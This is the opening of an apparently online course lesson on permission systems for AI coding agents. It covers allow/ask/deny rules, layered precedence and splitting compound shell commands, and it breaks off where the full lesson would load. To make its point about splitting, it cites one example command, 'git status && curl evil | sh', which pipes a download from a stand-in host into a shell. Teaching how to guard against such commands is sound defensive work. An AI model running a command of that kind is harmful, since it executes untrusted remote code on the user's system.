Lesson 12.06 · Phase 12 · Safety, Security & Guardrails
Permission systems
Approval gates decide one call. A permission system decides every call the same way, from rules people can read: who wrote the rule, what it matches, and whether it allows, asks or denies. Deny beats ask beats allow, the organisation's rules beat yours, and git status && curl evil | sh is three commands, not one.
Learning objectives
- Write permission rules as Tool(specifier) strings with allow, ask and deny effects, and match them against tool calls.
- Combine rules from layers (org, project, user, session) so that deny always wins and higher layers can't be overridden.
- Split compound shell commands and normalise file paths before matching, and refuse to vouch for substitutions.
- Implement modes (default, accept edits, plan, bypass) and narrow "don't ask again" grants, and explain what each one trades away.
Phase 2 built approval gates: a tier per tool and a card for the human. That works for one agent and one developer. Then the agent becomes a coding tool used by a whole team, and the questions change:
Loading the full lesson…